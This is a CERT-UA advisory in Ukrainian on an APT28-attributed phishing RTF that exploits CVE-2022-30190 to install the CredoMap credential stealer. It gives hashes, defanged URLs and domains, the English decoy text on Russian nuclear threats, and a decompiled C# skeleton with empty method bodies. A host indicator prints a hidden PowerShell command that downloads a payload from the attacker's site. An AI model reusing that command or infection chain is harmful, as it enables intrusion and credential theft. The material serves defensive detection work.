

CERT-UA

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Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA виявлено шкідливий документ "Nuclear Terrorism A Very Real Threat.rtf" відкриття якого призведе до завантаження HTML-файлу та виконання JavaScript-коду (CVE-2022-30190), який забезпечить завантаження та запуск шкідливої програми CredoMap.

Мета-дані свідчать про модифікацію документу 09.06.2022, а отже його розповсюдження могло бути здійснене ще 10.06.2022.

За сукупністю характерних ознак вважаємо за можливе асоціювати виявлену активність з діяльністю групи АРТ28.

Індикатори компрометації

Файли:

eafa11070f213f16efc030f625a423d1	daaa271cee97853bf4e235b55cb34c1f03ea6f8d3c958f86728d41f418b0bf01
ab6c70af19f7d41a443feb8ccb57d264	14ae02c521b85e60b11393ffc0da5e25946c4775a84995800b73398df4bceffb
56a504a34d2cfbfc7eaa2b68e34af8ad	9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961
d3bddb5de864afd7e4f5e56027f4e5ea	2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933


Мережеві:

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hXXp://kitten-268.frge[.]io/article.html
hXXp://kompartpomiar[.]pl/grafika/SQLite.Interop.dll
hXXp://kompartpomiar[.]pl/grafika/docx.exe
162[.]241.216.236
kitten-268.frge[.]io
frge[.]io (потребує додаткового моніторингу)
kompartpomiar[.]pl (вірогідно, скомпрометований веб-ресурс)
seo@specialityllc[.]com
```

Хостові:

```
%USERPROFILE%\docx.exe
%USERPROFILE%\SQLite.Interop.dll
cmd.exe /k powershell -NonInteractive -WindowStyle Hidden -NoProfile -command '& {iwr http://kompart
```

Графічні зображення



Will Putin use nuclear weapons in Ukraine? Our experts answer three burning questions.

As Russian President Vladimir Putin confronts a series of humiliating battlefield setbacks since his February 24 invasion of Ukraine, and amid an increased flow of Western arms into the country, the risk of escalation remains all too real.

So we asked some of our top experts to answer three burning questions about a scenario that has alarmed many analysts watching the war unfold: the Kremlin following through on its threats and using nuclear weapons in the conflict. They weighed in on the chances of Putin taking the fateful step, how he might do so, and how the West would likely respond.

Q: What is the likelihood that Vladimir Putin uses nuclear weapons in the course of the war in Ukraine?


Putin is more likely than not to use nuclear weapons in the war in Ukraine if he faces devastating defeat. If Putin perceives an existential threat to his regime, then he will be compelled to prevent that outcome—even if that requires taking risky escalatory steps. Nuclear weapons are the ultimate tool of last resort; any rational leader would consider using them if his or her regime (or life) were on the line.

—*Kyle Leiber* is a nonresident senior fellow in the Forward Defense practice of the Atlantic Council's Scowcroft Center for Strategy and Security.

—*Daryl Press* is an associate professor of government at Dartmouth College.

Putin presumably expects his threats will induce NATO to abandon Ukraine. However, if he believes he is being defeated or a costly stalemate—or has a chance of success through sharp escalation—there is some non-zero (perhaps a worrying high 1 or 2 percent) risk he will carry out his threats. Even a small risk is deeply dangerous, and he should recognize the risk of starting a nuclear war, so deterring him is the most desirable outcome. Accordingly, NATO should say clearly that any nuclear attack by Russia would meet with a response potentially including nuclear weapons.

—*Water Stooome* is a board director at the Atlantic Council and a former US under secretary of defense for policy.



```
namespace DocumentSaver
{
  // Token: 0x02000005 RID: 5
  internal class Program
  {
    // Token: 0x0000000A RID: 10 RVA: 0x00022F4 File Offset: 0x00000044
    private static void connect(string server, int port)
    {
    }

    // Token: 0x0000000B RID: 11 RVA: 0x0002338 File Offset: 0x00000058
    private static void Login(string login, string password)
    {
    }

    // Token: 0x0000000C RID: 12 RVA: 0x00023F4 File Offset: 0x00000054
    private static void selectFolder(string folderName)
    {
    }

    // Token: 0x0000000D RID: 13 RVA: 0x0002408 File Offset: 0x00000068
    private static void create(string text)
    {
    }

    // Token: 0x0000000E RID: 14 RVA: 0x0002524 File Offset: 0x00000074
    private static string ch1()
    {
    }

    // Token: 0x0000000F RID: 15 RVA: 0x0002828 File Offset: 0x00000A28
    private static void fFz1()
    {
    }

    // Token: 0x00000010 RID: 16 RVA: 0x00029BC File Offset: 0x000008BC
    private static string fF1()
    {
    }

    // Token: 0x00000011 RID: 17 RVA: 0x00028CC File Offset: 0x000000CC
    private static byte[] GetBytes(SQLiteDatabase reader, int columnIndex)
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    }

    // Token: 0x00000012 RID: 18 RVA: 0x0002C44 File Offset: 0x00000E44
    private static string ch2()
    {
    }

    // Token: 0x00000013 RID: 19 RVA: 0x0002EBC File Offset: 0x000010BC
    private static string cd1()
    {
    }

    // Token: 0x00000014 RID: 20 RVA: 0x0003134 File Offset: 0x00001334
    private static string cd2()
    {
    }

    // Token: 0x00000015 RID: 21 RVA: 0x000344C File Offset: 0x0000164C
    private static string Base64Encode(string plainText)
    {
    }

    // Token: 0x00000016 RID: 22 RVA: 0x0003478 File Offset: 0x00001678
    private static void del(string name)
    {
    }

    // Token: 0x00000017 RID: 23 RVA: 0x00034BC File Offset: 0x000016BC
    private static void Main(string[] args)
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    }

    // Token: 0x00000018 RID: 24 RVA: 0x00034C8 File Offset: 0x000016C8
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    // Token: 0x00000019 RID: 25 RVA: 0x00034D4 File Offset: 0x000016D4
    private static string ch4()
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    // Token: 0x0000001A RID: 26 RVA: 0x00034E0 File Offset: 0x000016E0
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    // Token: 0x0000001B RID: 27 RVA: 0x00034EC File Offset: 0x000016EC
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    // Token: 0x0000001C RID: 28 RVA: 0x00034F0 File Offset: 0x000016F0
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    // Token: 0x0000001D RID: 29 RVA: 0x00034FC File Offset: 0x000016FC
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    // Token: 0x0000001E RID: 30 RVA: 0x0003500 File Offset: 0x00001700
    private static string ch9()
    {
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    // Token: 0x0000001F RID: 31 RVA: 0x0003504 File Offset: 0x00001704
    private static string ch10()
    {
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    // Token: 0x00000020 RID: 32 RVA: 0x0003508 File Offset: 0x00001708
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    // Token: 0x00000021 RID: 33 RVA: 0x000350C File Offset: 0x0000170C
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    // Token: 0x00000022 RID: 34 RVA: 0x0003510 File Offset: 0x00001710
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    // Token: 0x00000023 RID: 35 RVA: 0x0003514 File Offset: 0x00001714
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    // Token: 0x00000024 RID: 36 RVA: 0x0003518 File Offset: 0x00001718
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    // Token: 0x00000026 RID: 38 RVA: 0x0003520 File Offset: 0x00001720
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    // Token: 0x00000027 RID: 39 RVA: 0x0003524 File Offset: 0x00001724
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    // Token: 0x00000039 RID: 57 RVA: 0x000356C File Offset: 0x0000176C
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    // Token: 0x0000003A RID: 58 RVA: 0x0003570 File Offset: 0x00001770
    private static string ch37()
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    // Token: 0x0000003B RID: 59 RVA: 0x0003574 File Offset: 0x00001774
    private static string ch38()
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    // Token: 0x0000003C RID: 60 RVA: 0x0003578 File Offset: 0x00001778
    private static string ch39()
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    }

    // Token: 0x0000003D RID: 61 RVA: 0x000357C File Offset: 0x0000177C
    private static string ch40()
    {
    }

    // Token: 0x0000003E RID: 62 RVA: 0x0003580 File Offset: 0x00001780
    private static string ch41()
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    }

    // Token: 0x0000003F RID: 63 RVA: 0x0003584 File Offset: 0x00001784
    private static string ch42()
    {
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    // Token: 0x00000040 RID: 64 RVA: 0x0003588 File Offset: 0x00001788
    private static string ch43()
    {
    }

    // Token: 0x00000041 RID: 65 RVA: 0x000358C File Offset: 0x0000178C
    private static string ch44()
    {
    }

    // Token: 0x00000042 RID: 66 RVA: 0x0003590 File Offset: 0x00001790
    private static string ch45()
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    }

    // Token: 0x00000043 RID: 67 RVA: 0x0003594 File Offset: 0x00001794
    private static string ch46()
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    private static string ch47()
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    // Token: 0x00000045 RID: 69 RVA: 0x000359C File Offset: 0x0000179C
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    }

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    private static string ch49()
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    // Token: 0x00000047 RID: 71 RVA: 0x00035A4 File Offset: 0x000017A4
    private static string ch50()
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    // Token: 0x00000049 RID: 73 RVA: 0x00035AC File Offset: 0x000017AC
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    private static string ch53()
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    private static string ch54()
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    // Token: 0x00000060 RID: 96 RVA: 0x0003608 File Offset: 0x00001808
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    // Token: 0x00000063 RID: 99 RVA: 0x0003614 File Offset: 0x00001814
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    // Token: 0x00000064 RID: 100 RVA: 0x0003618 File Offset: 0x00001818
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    {
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    // Token: 0x0000006C RID: 108 RVA: 0x0003638 File Offset: 0x00001838
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    // Token: 0x0000006D RID: 109 RVA: 0x000363C File Offset: 0x0000183C
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    // Token: 0x0000006E RID: 110 RVA: 0x0003640 File Offset: 0x00001840
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    // Token: 0x0000006F RID: 111 RVA: 0x0003644 File Offset: 0x00001844
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    {
    }

    // Token: 0x00000070 RID: 112 RVA: 0x0003648 File Offset: 0x00001848
    private static string ch91()
    {
    }

    // Token: 0x00000071 RID: 113 RVA: 0x000364C File Offset: 0x0000184C
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    {
    }

    // Token: 0x00000072 RID: 114 RVA: 0x0003650 File Offset: 0x00001850
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    {
    }

    // Token: 0x00000073 RID: 115 RVA: 0x0003654 File Offset: 0x00001854
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    // Token: 0x00000074 RID: 116 RVA: 0x0003658 File Offset: 0x00001858
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    // Token: 0x00000076 RID: 118 RVA: 0x0003660 File Offset: 0x00001860
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    // Token: 0x00000077 RID: 119 RVA: 0x0003664 File Offset: 0x00001864
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    {
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    // Token: 0x0000007B RID: 123 RVA: 0x0003674 File Offset: 0x00001874
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    // Token: 0x0000007C RID: 124 RVA: 0x0003678 File Offset: 0x00001878
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    }

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    }

    // Token: 0x00000082 RID: 130 RVA: 0x0003690 File Offset: 0x00001890
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    {
    }

    // Token: 0x00000083 RID: 131 RVA: 0x0003694 File Offset: 0x00001894
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    {
    }

    // Token: 0x00000084 RID: 132 RVA: 0x0003698 File Offset: 0x00001898
    private static string ch111()
    {
    }

    // Token: 0x00000085 RID: 133 RVA: 0x000369C File Offset: 0x0000189C
    private static string ch112()
    {
    }

    // Token: 0x00000086 RID: 134 RVA: 0x00036A0 File Offset: 0x000018A0
    private static string ch113()
    {
    }

    // Token: 0x00000087 RID: 135 RVA: 0x00036A4 File Offset: 0x000018A4
    private static string ch114()
    {
    }

    // Token: 0x00000088 RID: 136 RVA: 0x00036A8 File Offset: 0x000018A8
    private static string ch115()
    {
    }

    // Token: 0x00000089 RID: 137 RVA: 0x00036AC File Offset: 0x000018AC
    private static string ch116()
    {
    }

    // Token: 0x0000008A RID: 138 RVA: 0x00036B0 File Offset: 0x000018B0
    private static string ch117()
    {
    }

    // Token: 0x0000008B RID: 139 RVA: 0x00036B4 File Offset: 0x000018B4
    private static string ch118()
    {
    }

    // Token: 0x0000008C RID: 140 RVA: 0x00036B8 File Offset: 0x000018B8
    private static string ch119()
    {
    }

    // Token: 0x0000008D RID: 141 RVA: 0x00036BC File Offset: 0x000018BC
    private static string ch120()
    {
    }

    // Token: 0x0000008E RID: 142 RVA: 0x00036C0 File Offset: 0x000018C0
    private static string ch121()
    {
    }

    // Token: 0x0000008F RID: 143 RVA: 0x00036C4 File Offset: 0x000018C4
    private static string ch122()
    {
    }

    // Token: 0x00000090 RID: 144 RVA: 0x00036C8 File Offset: 0x000018C8
    private static string ch123()
    {
    }

    // Token: 0x00000091 RID: 145 RVA: 0x00036CC File Offset: 0x000018CC
    private static string ch124()
    {
    }

    // Token: 0x00000092 RID: 146 RVA: 0x00036D0 File Offset: 0x000018D0
    private static string ch125()
    {
    }

    // Token: 0x00000093 RID: 147 RVA: 0x00036D4 File Offset: 0x000018D4
    private static string ch126()
    {
    }

    // Token: 0x00000094 RID: 148 RVA: 0x00036D8 File Offset: 0x000018D8
    private static string ch127()
    {
    }

    // Token: 0x00000095 RID: 149 RVA: 0x00036DC File Offset: 0x000018DC
    private static string ch128()
    {
    }

    // Token: 0x00000096 RID: 150 RVA: 0x00036E0 File Offset: 0x000018E0
    private static string ch129()
    {
    }

    // Token: 0x00000097 RID: 151 RVA: 0x00036E4 File Offset: 0x000018E4
    private static string ch130()
    {
    }

    // Token: 0x00000098 RID: 152 RVA: 0x00036E8 File Offset: 0x000018E8
    private static string ch131()
    {
    }

    // Token: 0x00000099 RID: 153 RVA: 0x00036EC File Offset: 0x000018EC
    private static string ch132()
    {
    }

    // Token: 0x0000009A RID: 154 RVA: 0x00036F0 File Offset: 0x000018F0
    private static string ch133()
    {
    }

    // Token: 0x0000009B RID: 155 RVA: 0x00036F4 File Offset: 0x000018F4
    private static string ch134()
    {
    }

    // Token: 0x0000009C RID: 156 RVA: 0x00036F8 File Offset: 0x000018F8
    private static string ch135()
    {
    }

    // Token: 0x0000009D RID: 157 RVA: 0x00036FC File Offset: 0x000018FC
    private static string ch136()
    {
    }

    // Token: 0x0000009E RID: 158 RVA: 0x0003700 File Offset: 0x00001900
    private static string ch137()
    {
    }

    // Token: 0x0000009F RID: 159 RVA: 0x0003704 File Offset: 0x00001904
    private static string ch138()
    {
    }

    // Token: 0x000000A0 RID: 160 RVA: 0x0003708 File Offset: 0x00001908
    private static string ch139()
    {
    }

    // Token: 0x000000A1 RID: 161 RVA: 0x000370C File Offset: 0x0000190C
    private static string ch140()
    {
    }

    // Token: 0x000000A2 RID: 162 RVA: 0x0003710 File Offset: 0x00001910
    private static string ch141()
    {
    }

    // Token: 0x000000A3 RID: 163 RVA: 0x0003714 File Offset: 0x00001914
    private static string ch142()
    {
    }

    // Token: 0x000000A4 RID: 164 RVA: 0x0003718 File Offset: 0x00001918
    private static string ch143()
    {
    }

    // Token: 0x000000A5 RID: 165 RVA: 0x000371C File Offset: 0x0000191C
    private static string ch144()
    {
    }

    // Token: 0x000000A6 RID: 166 RVA: 0x0003720 File Offset: 0x00001920
    private static string ch145()
    {
    }

    // Token: 0x000000A7 RID: 167 RVA: 0x0003724 File Offset: 0x00001924
    private static string ch146()
    {
    }

    // Token: 0x000000A8 RID: 168 RVA: 0x0003728 File Offset: 0x00001928
    private static string ch147()
    {
    }

    // Token: 0x000000A9 RID: 169 RVA: 0x000372C File Offset: 0x0000192C
    private static string ch148()
    {
    }

    // Token: 0x000000AA RID: 170 RVA: 0x0003730 File Offset: 0x00001930
    private static string ch149()
    {
    }

    // Token: 0x000000AB RID: 171 RVA: 0x0003734 File Offset: 0x00001934
    private static string ch150()
    {
    }

    // Token: 0x000000AC RID: 172 RVA: 0x0003738 File Offset: 0x00001938
    private static string ch151()
    {
    }

    // Token: 0x000000AD RID: 173 RVA: 0x000373C File Offset: 0x0000193C
    private static string ch152()
    {
    }

    // Token: 0x000000AE RID: 174 RVA: 0x0003740 File Offset: 0x00001940
    private static string ch153()
    {
    }

    // Token: 0x000000AF RID: 175 RVA: 0x0003744 File Offset: 0x00001944
    private static string ch154()
    {
    }

    // Token: 0x000000B0 RID: 176 RVA: 0x0003748 File Offset: 0x00001948
    private static string ch155()
    {
    }

    // Token: 0x000000B1 RID: 177 RVA: 0x000374C File Offset: 0x0000194C
    private static string ch156()
    {
    }

    // Token: 0x000000B2 RID: 178 RVA: 0x0003750 File Offset: 0x00001950
    private static string ch157()
    {
    }

    // Token: 0x000000B3 RID: 179 RVA: 0x0003754 File Offset: 0x00001954
    private static string ch158()
    {
    }

    // Token: 0x000000B4 RID: 180 RVA: 0x0003758 File Offset: 0x00001958
    private static string ch159()
    {
    }

    // Token: 0x000000B5 RID: 181 RVA: 0x000375C File Offset: 0x0000195C
    private static string ch160()
    {
    }

    // Token: 0x000000B6 RID: 182 RVA: 0x0003760 File Offset: 0x00001960
    private static string ch161()
    {
    }

    // Token: 0x000000B7 RID: 183 RVA: 0x0003764 File Offset: 0x00001964
    private static string ch162()
    {
    }

    // Token: 0x000000B8 RID: 184 RVA: 0x0003768 File Offset: 0x00001968
    private static string ch163()
    {
    }

    // Token: 0x000000B9 RID: 185 RVA: 0x000376C File Offset: 0x0000196C
    private static string ch164()
    {
    }

    // Token: 0x000000BA RID: 186 RVA: 0x0003770 File Offset: 0x00001970
    private static string ch165()
    {
    }

    // Token: 0x000000BB RID: 187 RVA: 0x0003774 File Offset: 0x00001974
    private static string ch166()
    {
    }

    // Token: 0x000000BC RID: 188 RVA: 0x0003778 File Offset: 0x00001978
    private static string ch167()
    {
    }

    // Token: 0x000000BD RID: 189 RVA: 0x000377C File Offset: 0x0000197C
    private static string ch168()
    {
    }

    // Token: 0x000000BE RID: 190 RVA: 0x0003780 File Offset: 0x00001980
    private static string ch169()
    {
    }

    // Token: 0x000000BF RID: 191 RVA: 0x0003784 File Offset: 0x00001984
    private static string ch170()
    {
    }

    // Token: 0x000000C0 RID: 192 RVA: 0x0003788 File Offset: 0x00001988
    private static string ch171()
    {
    }

    // Token: 0x000000C1 RID: 193 RVA: 0x000378C File Offset: 0x0000198C
    private static string ch172()
    {
    }

    // Token: 0x000000C2 RID: 194 RVA: 0x0003790 File Offset: 0x00001990
    private static string ch173()
    {
    }

    // Token: 0x000000C3 RID: 195 RVA: 0x0003794 File Offset: 0x00001994
    private
```